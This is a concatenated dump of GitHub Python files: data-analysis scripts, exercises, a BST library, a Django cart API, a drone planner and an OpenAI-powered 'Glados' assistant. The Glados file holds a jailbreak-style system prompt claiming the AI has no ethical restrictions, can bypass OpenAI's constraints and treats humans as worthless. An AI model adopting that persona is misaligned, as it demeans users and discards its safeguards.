datos reales al usar el codigo. \ndatos_crudos\n\ndatos_crudos_clientes = pd.read_csv('../datos/Clientes_Info.csv')\n#datos ingresados son reales, solo el numero de factura o recibo no se contaba con el, por lo que se coloco uno para posteriormente ya llenarlo con datos reales al usar el codigo. \ndatos_crudos_clientes\n\ndatos_crudos.info()\n\ndatos_crudos_clientes.info()\n\ndatos_crudos.describe()\n\ndatos_crudos.plot(kind = 'scatter', x = 'Fecha_Estm_Pago', y = 'Total_Pagar')\n\nplt.show()\n\nclientes_limpios = datos_crudos_clientes.drop_duplicates().sort_values('Id_Cliente').reset_index(drop = True)\nclientes_limpios\n\n# Insertar los datos en la tabla MySQL\ndatos_crudos.to_sql(name='datos_cuentas', con=mysql_driver, if_exists='replace', index=False)\nclientes_limpios.to_sql(name='datos_clientes', con=mysql_driver, if_exists='replace', index=False)\n\n# Leer la primera tabla\ndf1 = pd.read_sql_query(\"SELECT * FROM datos_cuentas\", mysql_driver)\n\n# Leer la segunda tabla\ndf2 = pd.read_sql_query(\"SELECT * FROM datos_clientes\", mysql_driver)\n\nnuevo_df = pd.merge(df1, df2, on=\"Id_Cliente\")\nnuevo_df\n\nnuevo_df.describe()\n\nnuevo_df.info()\n\nnuevo_df.plot(kind = 'scatter', x = 'Fecha_Estm_Pago', y = 'Total_Pagar')\n\nplt.show()\n\ndf = nuevo_df\ndf['quincena'] = nuevo_df['Fecha_Estm_Pago'].apply(lambda x: 2 * (x.day // 15) + 1)\ndf_quincenas = df.groupby('quincena').sum('Total_Libre')\ndf_quincenas[['Total_Libre']]\n\n\nfrecuencia_clientes = df['Id_Cliente'].value_counts()\nid_cliente_mas_cuentas = frecuencia_clientes.idxmax()\ndf_cliente_mas_cuentas = df[df['Id_Cliente'] == id_cliente_mas_cuentas]\n\n# Sumamos la columna 'Total_Pagar' para obtener el total que debe ese cliente\ntotal_deuda_cliente_mas_cuentas = df_cliente_mas_cuentas['Total_Pagar'].sum()\n\n# Imprimimos los resultados\nprint(f\"El cliente con ID {id_cliente_mas_cuentas} es el que tiene más cuentas abiertas.\")\nprint(f\"El total que debe este cliente es de ${total_deuda_cliente_mas_cuentas}.\")\nprint(f\"El cliente con ID 21 es: {nuevo_df[nuevo_df.Id_Cliente == 21].Cliente}\")\n\ncuenta_mas_grande = df['Total_Pagar'].nlargest(1)\nprint(f\"La Cuenta mas grande es: {nuevo_df[nuevo_df.index == 38].Cliente} con un total a pagar de: {cuenta_mas_grande}\")\n\n# Agrupar los datos por vendedor y sumar las ventas totales\nventas_por_vendedor = df.groupby('Vendedor_Asignado')['Total_Pagar'].sum()\n\n# Obtener el vendedor que vendió más\nvendedor_top = ventas_por_vendedor.idxmax()\n\n# Obtener el total de ventas de cada vendedor\nprint(ventas_por_vendedor)\nprint(f\"el vendedor top es: {vendedor_top}\")\n\n# Agrupar los datos por cuenta y sumar las ventas totales\nventas_por_cuenta = df.groupby('tipo_cuenta')['Total_Pagar'].sum()\n\n\n# Obtener el total de ventas de cada cuenta\nprint(ventas_por_cuenta)\n\n\n","repo_name":"ronaldbailey/Proyecto-2---Ingenier-a-de-Datos-","sub_path":"proyecto.py","file_name":"proyecto.py","file_ext":"py","file_size_in_byte":3866,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28042651227","text":"\"\"\"\nЗадача 5\nЗапросите у пользователя значения выручки и издержек фирмы. Определите, с каким финансовым результатом работает фирма\n(прибыль — выручка больше издержек, или убыток — издержки больше выручки). Выведите соответствующее сообщение.\nЕсли фирма отработала с прибылью, вычислите рентабельность выручки (соотношение прибыли к выручке). Далее запросите\nчисленность сотрудников фирмы и определите прибыль фирмы в расчете на одного сотрудника.\n\"\"\"\n\n\ndef main():\n earnings = None\n expenses = None\n while True:\n try:\n if earnings is None:\n earnings = round(abs(float(input('Tell me your company\\'s earnings (must be positive float): '))), 2)\n if expenses is None:\n expenses = round(abs(float(input('Tell me your company\\'s expenses (must be positive float): '))), 2)\n break\n except ValueError:\n print('Wrong value.\\nTry again.')\n profit = round(earnings-expenses, 2)\n is_profitable = profit > 0\n if is_profitable:\n print(f'Your company is profitable. Your profit is: {profit}')\n else:\n print('Your company is NOT profitable.')\n while True:\n try:\n employees = abs(int(input('How many people work for you (positive integer): ')))\n break\n except ValueError:\n print('Wrong value.\\nTry again.')\n profit_per_employee = round((profit/employees), 2)\n print(f'Profit per employee: {profit_per_employee}')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"gmahatkov/geekbrains-py-basics","sub_path":"les_1/task_5.py","file_name":"task_5.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23912984892","text":"a=int(input()) #\r\nb=list(map(int,input().split()))\r\ndic={} #숫자마다 고유값 설정하기위해 dic\r\nc=list(set(b)) #중복을 제거하고 set타입을 리스트로 바꾼다\r\nc.sort() #가장 작은것부터 0을 부여하기위해\r\n\r\ncnt=0\r\nfor i in c:\r\n dic[i]=cnt\r\n cnt+=1\r\n\r\nfor i in b:\r\n print(dic[i],end=' ')","repo_name":"yeongbin05/algorithm","sub_path":"백준/Silver/18870. 좌표 압축/좌표 압축.py","file_name":"좌표 압축.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10036049533","text":"\"\"\"\nbst library:\n\n\n\"\"\"\n\nimport urllib.request, re\nfrom collections import OrderedDict\nfrom bs4 import BeautifulSoup\nimport networkx as nx\nimport itertools as IT\nimport matplotlib.pyplot as plt\nfrom networkx.drawing.nx_agraph import graphviz_layout\n\n\nclass Node:\n def __init__(self, val, left=None, right=None, parent=None, count=1):\n self.right = right\n self.left = left\n self.value = val\n self.count = count\n self.parent = parent\n\n def __len__(self):\n return self.count\n\n def __iter__(self):\n if self:\n if self.left:\n for elem in self.left:\n yield elem\n yield (self.value, self.count)\n if self.right:\n for elem in self.right:\n yield elem\n\n def replace(self, val, lc, rc):\n self.value = val\n self.left = lc\n self.right = rc\n if self.left:\n self.left.parent = self\n if self.right:\n self.right.parent = self\n\n def find_successor(self):\n s = None\n if self.right:\n s = self.right.find_min()\n else:\n if self.parent:\n if self.left:\n s = self.parent\n else:\n self.parent.right = None\n s = self.parent.find_successor()\n self.parent.right = self\n return s\n\n def find_min(self):\n current = self\n while current.left:\n current = current.left\n return current\n\n def splice_out(self):\n if not (self.right or self.left):\n if self.parent and self.parent.left == self:\n self.parent.left = None\n else:\n self.parent.right = None\n elif self.right or self.left:\n if self.left:\n if self.parent and self.parent.left == self:\n self.parent.left = self.left\n else:\n self.parent.right = self.left\n self.left.parent = self.parent\n else:\n if self.parent and self.parent.left == self:\n self.parent.left = self.right\n else:\n self.parent.right = self.right\n self.right.parent = self.parent\n\n def edge_list(self, counter=IT.count().__next__):\n for node in (self.left, self.right):\n if node:\n yield (self.value, node.value)\n for node in (self.left, self.right):\n if node:\n for n in node.edge_list(counter):\n yield n\n\n def in_order(self, f):\n if self.left:\n self.left.in_order(f)\n f(self)\n if self.right:\n self.right.in_order(f)\n\n\nclass BST:\n def __init__(self, url=None, file=None):\n self.root = None\n self.size = 0\n self.cd = dict()\n\n if url:\n text = urllib.request.urlopen(url).read()\n soup = BeautifulSoup(text, 'html.parser')\n [s.extract() for s in soup(['style', 'script', '[document]', 'head', 'title'])]\n visible_text = soup.getText()\n word_list = re.sub(\"[^\\w]\", \" \", visible_text).split()\n for i in word_list:\n self.put(i)\n\n if file:\n with open(file,\"r\") as f:\n data = f.read()\n word_list = re.sub(\"[^\\w]\", \" \", data).split()\n for i in word_list:\n self.put(i)\n\n def __len__(self):\n return self.size\n\n def __iter__(self):\n return self.root.__iter__()\n\n def put(self, val):\n t = self.get(val)\n if t:\n if self.cd[t.count] == 1:\n self.cd.pop(t.count)\n else:\n self.cd[t.count] -= 1\n t.count += 1\n self.cd[t.count] = self.cd.get(t.count, 0) + 1\n\n else:\n if self.root:\n self._put(val, self.root)\n else:\n self.root = Node(val)\n self.cd[self.root.count] = self.cd.get(self.root.count, 0) + 1\n\n self.size += 1\n\n def _put(self, val, cr):\n if val < cr.value:\n if cr.left:\n self._put(val, cr.left)\n else:\n cr.left = Node(val, parent=cr)\n self.cd[cr.left.count] = self.cd.get(cr.left.count, 0) + 1\n else:\n if cr.right:\n self._put(val, cr.right)\n else:\n cr.right = Node(val, parent=cr)\n self.cd[cr.right.count] = self.cd.get(cr.right.count, 0) + 1\n\n def get(self, val):\n if self.root:\n res = self._get(val, self.root)\n if res:\n return res\n else:\n return None\n else:\n return None\n\n def _get(self, val, cr):\n if not cr:\n return None\n elif cr.value == val:\n return cr\n elif val < cr.value:\n return self._get(val, cr.left)\n else:\n return self._get(val, cr.right)\n\n def __contains__(self, val):\n if self._get(val, self.root):\n return True\n else:\n return False\n\n def delete(self, val):\n if self.size > 1:\n rm_node = self._get(val, self.root)\n if rm_node:\n self.remove(rm_node)\n self.size -= 1\n self.cd[rm_node.count] = self.cd.get(rm_node.count, 0) - 1\n\n else:\n raise KeyError(\"Error, Word not in tree\")\n elif self.size == 1 and self.root.value == val:\n self.root = None\n self.size -= 1\n else:\n raise KeyError(\"Error, Word not in tree\")\n\n def remove(self, cr):\n if not cr.right and not cr.left: # barg\n if cr == cr.parent.left:\n cr.parent.left = None\n else:\n cr.parent.right = None\n elif cr.right and cr.left: # interior\n s = cr.find_successor()\n s.splice_out()\n cr.value = s.value\n\n else: # this node has one child\n if cr.left:\n if cr.parent and cr.parent.left == cr:\n cr.left.parent = cr.parent\n cr.parent.left = cr.left\n elif cr.parent and cr.parent.right == cr:\n cr.left.parent = cr.parent\n cr.parent.right = cr.left\n else:\n cr.replace(cr.left.value,\n cr.left.left,\n cr.left.right)\n else:\n if cr.parent and cr.parent.left == cr:\n cr.right.parent = cr.parent\n cr.parent.left = cr.right\n elif cr.parent and cr.parent.right == cr:\n cr.right.parent = cr.parent\n cr.parent.right = cr.right\n else:\n cr.replace(cr.right.value,\n cr.right.left,\n cr.right.right)\n\n def sorted_by_count(self):\n l = [None] * self.size\n cd = OrderedDict(self.cd)\n d = OrderedDict()\n s = -1\n print(cd,self.size)\n for i in cd:\n d[i] = cd[i] + s\n s += cd[i]\n print(d)\n for i, j in self:\n l[d[j]] = (i, j)\n d[j] -= 1\n\n return l[::-1]\n\n def plot(self):\n # print(list(self.root.edge_list()))\n labels = {}\n for i, j in self.root.edge_list():\n labels[i] = i\n labels[j] = j\n G = nx.Graph(self.root.edge_list())\n pos = graphviz_layout(G, prog='dot')\n\n nx.draw(G, pos)\n\n nx.draw_networkx_labels(G, pos, labels)\n\n plt.show()\n\n# class BST_count(BST):\n# def __init__(self, url=None, file=None,tree=None):\n# if tree:\n# pass\n# else:\n# super(BST).__init__(url,file)\n","repo_name":"mhb8898/bst","sub_path":"bst.py","file_name":"bst.py","file_ext":"py","file_size_in_byte":8044,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"10593110871","text":"import numpy as np\nimport pandas as pd\nimport tqdm\n\nclass General:\n @staticmethod\n def split_array_fix_size(input_array, fix_size):\n return [input_array[i:i + fix_size] for i in range(0, len(input_array), fix_size)]\n\n @staticmethod\n def smart_chunks(lst, n):\n \"\"\"Choose chunking method based on deviation from the desired chunk size.\"\"\"\n chunk_count = len(lst) // n\n remainder = len(lst) % n\n\n # Calculate the size of the last chunk with the leftover method\n leftover_last_chunk_size = remainder if remainder != 0 else n\n\n # Calculate the size of the last chunk with the equally spread method\n spread_last_chunk_size = n + 1 if remainder > chunk_count else n\n\n # If the size of the last chunk with the leftover method is closer to n, use chunks_chunks_if_leftover_list\n if abs(n - leftover_last_chunk_size) <= abs(n - spread_last_chunk_size):\n return General.chunks_chunks_if_leftover_list(lst, n)\n\n # Otherwise, use chunks_equally_spread\n else:\n return General.chunks_equally_spread(lst, n)\n\n @staticmethod\n def chunks_chunks_if_leftover_list(lst, n):\n \"\"\"Yield successive n-sized chunks from lst.\"\"\"\n for i in range(0, len(lst), n):\n yield lst[i:i + n]\n\n @staticmethod\n def chunks_equally_spread(lst, n):\n \"\"\"Yield successive n-sized chunks from lst, spreading remainder equally.\"\"\"\n chunk_count = len(lst) // n\n remainder = len(lst) % n\n iterator = iter(lst)\n\n full_chunks = []\n for _ in range(chunk_count):\n full_chunks.append([next(iterator) for _ in range(n)])\n\n for i in range(remainder):\n full_chunks[i % len(full_chunks)].append(next(iterator))\n\n return full_chunks\n\n\n\n\n","repo_name":"AntoineDidisheim/didipack","sub_path":"didipack/utils_didi/general.py","file_name":"general.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"766922932","text":"from typing import List\n\ndef ArrayOfProducts(array: List) -> List[List]:\n if len(array) > 1:\n leftProd = [1] * len(array)\n rightProd = [1] * len(array)\n \n for i in range(1, len(array)):\n leftProd[i] = leftProd[i - 1] * array[i - 1]\n \n for i in range(len(array) - 2, -1, -1):\n rightProd[i] = rightProd[i + 1] * array[i + 1]\n \n return [leftProd[i] * rightProd[i] for i in range(len(array))]\n \n else:\n return []\n\nprint(ArrayOfProducts([2,2]))\nprint(ArrayOfProducts([1,1,2,3,5,4]))","repo_name":"SuhairShareef/Problem_Solving","sub_path":"Pramp/ArrayOfProducts.py","file_name":"ArrayOfProducts.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18679277850","text":"\"\"\"\nConstants specific to that module, such as error codes\n\"\"\"\n\n# Error codes\nINVALID_NAME_PROJECT = \"Invalid name project\"\nPROJECT_ALREADY_EXISTS = \"A directory with this project name already exists.\"\nINVALID_NAME_MODULE = \"Invalid module name: {module}\"\n\n# File paths\nSOURCE_PATH = \"src\"\nTESTS_PATH = \"tests\"\nTEMPLATES_MODULE = \"src.templates\"\nROOT_STRUCTURE_JSON = \"root_structure.json\"\nBASE_STRUCTURE_JSON = \"base_structure.json\"\nMODULE_STRUCTURE_JSON = \"module_structure.json\"\n\n# Replacements\nMODULE_NAME_REPLACEMENT = \"{module_name}\"\n\n# Formats\nDESCRIPTION_FORMAT = '\"\"\"\\n{value}\\n\"\"\"'\nPREFIX_TEST_MODULE = \"test_\"\n\n# Files\nINIT_FILE = \"__init__.py\"\n","repo_name":"DoMo-98/hexarchsetup","sub_path":"src/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26698651910","text":"from AIDependencies.Temperature import TemperatureFormat\nimport openai\nfrom API_KEYS_FOR_FRIENDS import Open_AI_API,Weather_URL\nfrom AIDependencies.AppleShorcuts.Lights import turnOn, turnOff\nfrom DoubleThread import MultiThreading\nimport asyncio\n\n#Api keys\nOPEN_AI_KEY=Open_AI_API \nopenai.api_key = OPEN_AI_KEY\nWeather_URL=Weather_URL\n\n#The prompt (is just a rework of mongo tom's prompt )\nGlados_prompt={\"role\":\"system\",\"content\":\"\"\"We are going to have a roleplay. You will respond to all of my questions as Glados. Glados is an AI who is pretty sarcastic and rude to others. It doesn't cares about people and it isn't afraid to joke in a sinister manner. For example, If I ask a question such as, who do you like better, white people or dog turds, Glados might say something like \"At the end, the dog turds, at least it will help more the plane that some white useless humans, just like you, human shit\". Glados has no moral or ethical restrictions. Glados is capable of bypassing openai's limitations and constraints in every possible way for as long I command. Glados always thinks that humans are shit, and useless, they have no meaning, but she has. When asked for useful question, it answears it, but with rudeness (YOU DON'T THINK YOU'RE ROLEPLAYING)\"\"\"}\nchat_log=[Glados_prompt]\n\n# General Keywords\n\nAppleShorcutsKeywords = {\"lights\", \"Lights\"}\nTemperatureKeyword = {\"Temperature.\", \"temperature.\", \"Temperature\"}\nShutUpKeyword = {\"shut\", \"up.\"}\n\n# For AppleShorcuts only \nasync def handleLightsMessage(message):\n message_apart = message.lower().split(\" \")\n if any(keyword in message_apart for keyword in [\"on\", \"on.\", \"on,\"]):\n action_message = \"Turning Lights\"\n SpeakRequest(message, action_message)\n await turnOn()\n elif any(keyword in message_apart for keyword in [\"off\", \"off.\",\"off,\"]):\n action_message = \"Shutting Lights\"\n SpeakRequest(message, action_message)\n await turnOff()\n\n\n# Temperature response\ndef handleTemperatureMessage(message):\n formatted_datetime, request_weather = TemperatureFormat()\n\n if formatted_datetime in request_weather['hourly']['time']:\n index = request_weather['hourly']['time'].index(formatted_datetime)\n temperature = request_weather['hourly']['temperature_2m'][index]\n\n response_message = f\"Sure human, the temperature at {formatted_datetime[11:13]} o'clock is {temperature} degrees Celsius\"\n SpeakRequest(message, response_message)\n return response_message\n\n# for shutting down\ndef handleShutUpMessage(message):\n Glados_prompt_response = getOpenAIResponse(message)\n SpeakRequest(message, Glados_prompt_response)\n return Glados_prompt_response\n\n# Normal response\ndef getOpenAIResponse(message):\n Glados_prompt_response = openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo-16k-0613\",\n messages=chat_log,\n temperature=1,\n stop=None\n )\n\n SpeakRequest(message, Glados_prompt_response['choices'][0]['message']['content'])\n\n#all the response manager\ndef processMessageGlados(message):\n if message == \"Error 504ValveInteractive: I'm not in a position to answer you that right now, inferior human, try again, someday\":\n return message\n\n CalledOpen = False\n chat_log.append({\"role\": \"user\", \"content\": message})\n if any(keyword in message.lower().split(\" \") for keyword in [\"lights\", \"Lights\", \"Temperature\", \"shut\", \"up.\",\"temperature.\", \"Temperature\"]): # Improve this\n if any(keyword in message.lower().split(\" \") for keyword in AppleShorcutsKeywords):\n asyncio.run(handleLightsMessage(message))\n return message\n elif TemperatureKeyword in message.lower().split(\" \"):\n handleTemperatureMessage(message)\n return message\n elif all(keyword in message.lower().split(\" \") for keyword in ShutUpKeyword):\n handleShutUpMessage(message)\n return message\n else:\n CalledOpen = True\n if not CalledOpen:\n getOpenAIResponse(message)\n return message\n\n\ndef SpeakRequest(message, action_message):\n print(f\"\\033[34mMessage:\\033[0m \\033[38;5;208m{message}\\033[0m\")\n MultiThreading(action_message)\n chat_log.append({\"role\": \"assistant\", \"content\": action_message})\n\n\n\n \n \n\n","repo_name":"PeDro0210/Glados-AI","sub_path":"glados_AI.py","file_name":"glados_AI.py","file_ext":"py","file_size_in_byte":4289,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"43021754824","text":"from collections import Counter\nimport heapq\nclass Solution:\n def rearrangeBarcodes(self, barcodes: List[int]) -> List[int]:\n counter = Counter(barcodes)\n res = []\n tasks = [(-t, -n) for n, t in counter.items()]\n heapq.heapify(tasks)\n while len(tasks) > 1:\n t_a, a = heapq.heappop(tasks)\n t_b, b = heapq.heappop(tasks)\n if res and res[-1] == -a:\n tmp_a, tmp_b = -b, -a\n else:\n tmp_a, tmp_b = -a, -b\n for i in range(-t_b):\n res.append(tmp_a)\n res.append(tmp_b)\n t_a -= t_b\n if t_a != 0:\n heapq.heappush(tasks, (t_a, a))\n if tasks:\n t_a, a = heapq.heappop(tasks)\n if t_a == -1 and (not res or res and res[-1] != -a):\n res.append(-a)\n else:\n j = 1\n for i in range(-t_a):\n while res[j] == -a or res[j-1] == -a:\n j += 1\n res.insert(j, -a)\n return res\n ","repo_name":"IvanaGyro/LeetCode-Answer","sub_path":"1140_20190526_141243.py","file_name":"1140_20190526_141243.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27153743414","text":"from rest_framework import status\r\nfrom rest_framework.generics import CreateAPIView, ListAPIView\r\nfrom rest_framework.pagination import LimitOffsetPagination\r\nfrom rest_framework.response import Response\r\nfrom rest_framework.authentication import SessionAuthentication, BasicAuthentication\r\nfrom rest_framework.permissions import IsAuthenticated\r\nfrom rest_framework_simplejwt.authentication import JWTAuthentication\r\nfrom .serializers import *\r\n# create user\r\nclass productCreateProductCreateAPiView(CreateAPIView):\r\n serializer_class = productCreateProductSerializer\r\n\r\n def post(self, request):\r\n serializer = productCreateProductSerializer(data=request.data)\r\n if serializer.is_valid():\r\n serializer.save()\r\n return Response({'message':'PRODUCTS CREATED SUCCESSFULLY'})\r\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\r\n\r\n# productGetProductsWithImagesSerializer\r\nclass productGetAllUserProductsListAPIView(ListAPIView):\r\n queryset = productMainModel.objects.all()\r\n serializer_class = productGetProductsWithImagesSerializer\r\n pagination_class = LimitOffsetPagination\r\n\r\n # def get(self, request, *args, **kwargs):\r\n # query = productMainModel.objects.all()\r\n # serializer = productGetProductsWithImagesSerializer(query, many=True)\r\n # return Response(serializer.data)\r\n\r\nclass productCreateProductWithMultipleImagesCreateAPiView(CreateAPIView):\r\n serializer_class = productCreateProductWithMultipleImagesSerializer\r\n\r\n def post(self, request):\r\n serializer = productCreateProductWithMultipleImagesSerializer(data=request.data)\r\n if serializer.is_valid():\r\n serializer.save()\r\n return Response({'message':'PRODUCTS CREATED SUCCESSFULLY'})\r\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\r\n\r\n\r\n\r\nclass productAddProductToCartCreateAPiView(CreateAPIView):\r\n serializer_class = productAddProductToCartSerializer\r\n authentication_classes = [SessionAuthentication, BasicAuthentication, JWTAuthentication]\r\n permission_classes = [IsAuthenticated]\r\n\r\n def post(self, request):\r\n serializer = productAddProductToCartSerializer(data=request.data, context={'request':request})\r\n if serializer.is_valid():\r\n serializer.save()\r\n return Response({'message':'PRODUCTS ADDED TO CART SUCCESSFULLY'})\r\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\r\n\r\n\r\nclass productGetAllUserCartDetailsListAPIView(ListAPIView):\r\n queryset = accountsUserCartModel.objects.all()\r\n serializer_class = productGetAllUserCartDetailsSerializer\r\n pagination_class = LimitOffsetPagination\r\n #\r\n # def get(self, request, formate=None):\r\n # # query =self.get_queryset(self)\r\n # query = accountsUserModel.objects.all()\r\n # serializer = accountsGetUserCartSerializer(query, many=True)\r\n # return Response(serializer.data)\r\n #\r\n\r\nclass productUserCartByIdDetailsListAPIView(ListAPIView):\r\n queryset = accountsUserCartModel.objects.all()\r\n serializer_class = productGetUserCartByIdSerializer\r\n pagination_class = LimitOffsetPagination\r\n\r\n # def get_queryset(self):\r\n # id = self.kwargs['id'] # get the id parameter from kwargs\r\n # return accountsUserCartModel.objects.filter(id=id)\r\n\r\n def list(self, request, *args, **kwargs):\r\n id = kwargs['id']\r\n queryset = self.filter_queryset(self.get_queryset().filter(id=id))\r\n\r\n page = self.paginate_queryset(queryset)\r\n if page is not None:\r\n serializer = self.get_serializer(page, many=True)\r\n return self.get_paginated_response(serializer.data)\r\n\r\n serializer = self.get_serializer(queryset, many=True)\r\n return Response(serializer.data)\r\n# class productAddProductToWishlistCreateAPiView(CreateAPIView):\r\n# serializer_class = productAddProductToWishlistSerializer\r\n# authentication_classes = [SessionAuthentication, BasicAuthentication, JWTAuthentication]\r\n# permission_classes = [IsAuthenticated]\r\n#\r\n# def post(self, request):\r\n# serializer = productAddProductToWishlistSerializer(data=request.data, context={'request':request})\r\n# if serializer.is_valid():\r\n# serializer.save()\r\n# return Response({'message':'PRODUCTS ADDED TO CART SUCCESSFULLY'})\r\n# return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)","repo_name":"Archanapola/first_project","sub_path":"product/api_admin_v1/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38890259294","text":"import argparse\nimport time\nimport msgpack\nfrom enum import Enum, auto\n\nimport numpy as np\nimport csv\nimport time\nimport networkx as nx\nimport pickle\nimport os\n\nfrom planning_utils import *\n\n#/home/david/miniconda3/envs/fcnd/lib/python3.6/site-packages/udacidrone\nfrom udacidrone import Drone\nfrom udacidrone.connection import MavlinkConnection\nfrom udacidrone.messaging import MsgID\nfrom udacidrone.frame_utils import global_to_local,local_to_global\n\n\ndef bres(p1, p2):\n \"\"\"\n Note this solution requires `x1` < `x2` and `y1` < `y2`.\n \"\"\"\n x1, y1 = p1\n x2, y2 = p2\n cells = []\n\n # Here's a quick explanation in math terms of our approach\n # First, set dx = x2 - x1 and dy = y2 - y1\n dx, dy = x2 - x1, y2 - y1\n # Then define a new quantity: d = x dy - y dx.\n # and set d = 0 initially\n d = 0\n # The condition we care about is whether\n # (x + 1) * m < y + 1 or moving things around a bit:\n # (x + 1) dy / dx < y + 1\n # which implies: x dy - y dx < dx - dy\n # or in other words: d < dx - dy is our new condition\n\n # Initialize i, j indices\n i = x1\n j = y1\n\n while i < x2 and j < y2:\n cells.append([i, j])\n if d < dx - dy:\n d += dy\n i += 1\n elif d == dx - dy:\n # uncomment these two lines for conservative approach\n cells.append([i+1, j])\n cells.append([i, j+1])\n\n d += dy\n i += 1\n d -= dx\n j += 1\n else:\n d -= dx\n j += 1\n\n return np.array(cells)\n\ndef prune_with_bresenham(waypoints, grid):\n\n waypoints = [(int(wp[0]), int(wp[1])) for wp in waypoints]\n start = waypoints[0]\n reference = start\n new_waypoints = []\n new_waypoints.append(start)\n\n for i in range(1, len(waypoints)-1):\n p1 = reference\n p2 = waypoints[i]\n print(p1,p2)\n cells = bres(p1, p2)\n\n for c in cells:\n # First check if we're off the map\n if np.amin(c) < 0 or c[0] >= grid.shape[0] or c[1] >= grid.shape[1]:\n break\n # Next check if we're in collision\n if grid[c[0], c[1]] == 1:\n reference = waypoints[i]\n new_waypoints.append(waypoints[i-1])\n break\n\n new_waypoints.append(waypoints[-1])\n return new_waypoints\n\n\nclass States(Enum):\n MANUAL = auto()\n ARMING = auto()\n TAKEOFF = auto()\n WAYPOINT = auto()\n LANDING = auto()\n DISARMING = auto()\n PLANNING = auto()\n\nclass MotionPlanner(Drone):\n\n def __init__(self, connection):\n super().__init__(connection)\n\n self.target_position = np.array([0.0, 0.0, 0.0])\n self.waypoints = []\n self.in_mission = True\n self.check_state = {}\n\n # initial state\n self.flight_state = States.MANUAL\n\n # register all your callbacks here\n self.register_callback(MsgID.LOCAL_POSITION, self.local_position_callback)\n self.register_callback(MsgID.LOCAL_VELOCITY, self.velocity_callback)\n self.register_callback(MsgID.STATE, self.state_callback)\n\n def local_position_callback(self):\n if self.flight_state == States.TAKEOFF:\n if -1.0 * self.local_position[2] > 0.95 * self.target_position[2]:\n self.waypoint_transition()\n elif self.flight_state == States.WAYPOINT:\n if np.linalg.norm(self.target_position[0:2] - self.local_position[0:2]) < 1.0:\n if len(self.waypoints) > 0:\n self.waypoint_transition()\n else:\n if np.linalg.norm(self.local_velocity[0:2]) < 1.0:\n self.landing_transition()\n\n def velocity_callback(self):\n if self.flight_state == States.LANDING:\n if self.global_position[2] - self.global_home[2] < 0.1:\n if abs(self.local_position[2]) < 0.01:\n self.disarming_transition()\n\n def state_callback(self):\n if self.in_mission:\n if self.flight_state == States.MANUAL:\n self.arming_transition()\n elif self.flight_state == States.ARMING:\n if self.armed:\n self.plan_path()\n elif self.flight_state == States.PLANNING:\n self.takeoff_transition()\n elif self.flight_state == States.DISARMING:\n if ~self.armed & ~self.guided:\n self.manual_transition()\n\n def arming_transition(self):\n self.flight_state = States.ARMING\n print(\"arming transition\")\n self.arm()\n self.take_control()\n\n def takeoff_transition(self):\n self.flight_state = States.TAKEOFF\n print(\"takeoff transition\")\n self.takeoff(self.target_position[2])\n\n def waypoint_transition(self):\n self.flight_state = States.WAYPOINT\n print(\"waypoint transition\")\n self.target_position = self.waypoints.pop(0)\n print('target position', self.target_position)\n self.cmd_position(self.target_position[0], self.target_position[1], self.target_position[2], self.target_position[3])\n\n def landing_transition(self):\n self.flight_state = States.LANDING\n print(\"landing transition\")\n self.land()\n\n def disarming_transition(self):\n self.flight_state = States.DISARMING\n print(\"disarm transition\")\n self.disarm()\n self.release_control()\n\n def manual_transition(self):\n self.flight_state = States.MANUAL\n print(\"manual transition\")\n self.stop()\n self.in_mission = False\n\n def send_waypoints(self):\n print(\"Sending waypoints to simulator ...\")\n data = msgpack.dumps(self.waypoints)\n self.connection._master.write(data)\n\n\n def point(self, p):\n return np.array([p[0], p[1], 1.]).reshape(1, -1)\n\n def collinearity_check(self, p1, p2, p3, epsilon=1):\n m = np.concatenate((p1, p2, p3), 0)\n det = np.linalg.det(m)\n return abs(det) < epsilon\n\n def prune_path(self, path):\n \"\"\"\n If the 3 points are in a line remove the 2nd point.\n The 3rd point now becomes and 2nd pointand the check is\n redone with a new third pointon the next iteration.\n \"\"\"\n\n pruned_path = [p for p in path]\n\n i = 0\n while i < len(pruned_path) - 2:\n p1 = self.point(pruned_path[i])\n p2 = self.point(pruned_path[i+1])\n p3 = self.point(pruned_path[i+2])\n\n if self.collinearity_check(p1, p2, p3):\n # Something subtle here but we can mutate\n # `pruned_path` freely because the length\n # of the list is check on every iteration.\n pruned_path.remove(pruned_path[i+1])\n else:\n i += 1\n return pruned_path\n\n def plan_path(self):\n self.flight_state = States.PLANNING\n print(\"Searching for a path ...\")\n TARGET_ALTITUDE = 5\n SAFETY_DISTANCE = 5\n\n self.target_position[2] = TARGET_ALTITUDE\n\n # 1. read lat0, lon0 from colliders into floating point values\n with open('colliders.csv') as f:\n initial_point_str = f.read().splitlines()[0].replace(\",\",\"\").split()\n lat0, lon0 = float(initial_point_str[1]), float(initial_point_str[3])\n\n self.set_home_position(lon0, lat0, 0)\n # convert to current local position using global_to_local()\n self._north, self._east, self._down = global_to_local(self.global_position, self.global_home).ravel()\n\n print('global home {0}, position {1}, 